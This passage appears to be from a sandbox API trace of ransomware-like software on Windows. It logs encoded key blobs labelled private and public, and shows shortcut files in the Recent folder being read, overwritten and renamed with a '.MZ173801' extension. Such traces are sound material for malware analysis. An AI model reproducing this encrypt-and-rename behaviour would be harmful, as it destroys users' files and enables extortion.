lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252706c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0146.935] GetCurrentThreadId () returned 0xab4 [0146.935] GetCurrentThreadId () returned 0xab4 [0146.935] GetCurrentThreadId () returned 0xab4 [0146.936] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0146.936] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x25380cc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0146.936] GetCurrentThreadId () returned 0xab4 [0146.936] GetCurrentThreadId () returned 0xab4 [0146.936] GetCurrentThreadId () returned 0xab4 [0146.936] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2f1V.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\2f1v.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.936] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0146.936] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.936] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3a6 [0146.936] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.936] ReadFile (in: hFile=0x280, lpBuffer=0x253fed0, nNumberOfBytesToRead=0x3a6, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesRead=0x19fa18*=0x3a6, lpOverlapped=0x0) returned 1 [0146.957] CloseHandle (hObject=0x280) returned 1 [0146.957] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2f1V.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\2f1v.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.958] WriteFile (in: hFile=0x280, lpBuffer=0x2541f00*, nNumberOfBytesToWrite=0x3a6, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x2541f00*, lpNumberOfBytesWritten=0x19fa24*=0x3a6, lpOverlapped=0x0) returned 1 [0146.959] CloseHandle (hObject=0x280) returned 1 [0146.960] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2f1V.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\2f1v.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2f1V.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\2f1v.lnk.mz173801")) returned 1 [0146.961] GetCurrentThreadId () returned 0xab4 [0146.961] GetCurrentThreadId () returned 0xab4 [0146.961] GetCurrentThreadId () returned 0xab4 [0146.961] GetCurrentThreadId () returned 0xab4 [0146.961] GetCurrentThreadId () returned 0xab4 [0146.961] GetCurrentThreadId () returned 0xab4 [0146.961] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419ffc72, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x419ffc72, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x419ffc72, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3d6, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="3qar626WH.lnk", cAlternateFileName="3QAR62~1.LNK")) returned 1 [0146.961] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0146.961] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0146.961] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3qar626WH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\3qar626wh.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419ffc72, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x419ffc72, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x419ffc72, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3d6)) returned 1 [0146.961] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3qar626WH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\3qar626wh.lnk")) returned 0x20 [0146.961] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3qar626WH.lnk", dwFileAttributes=0x80) returned 1 [0146.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0146.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252706c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 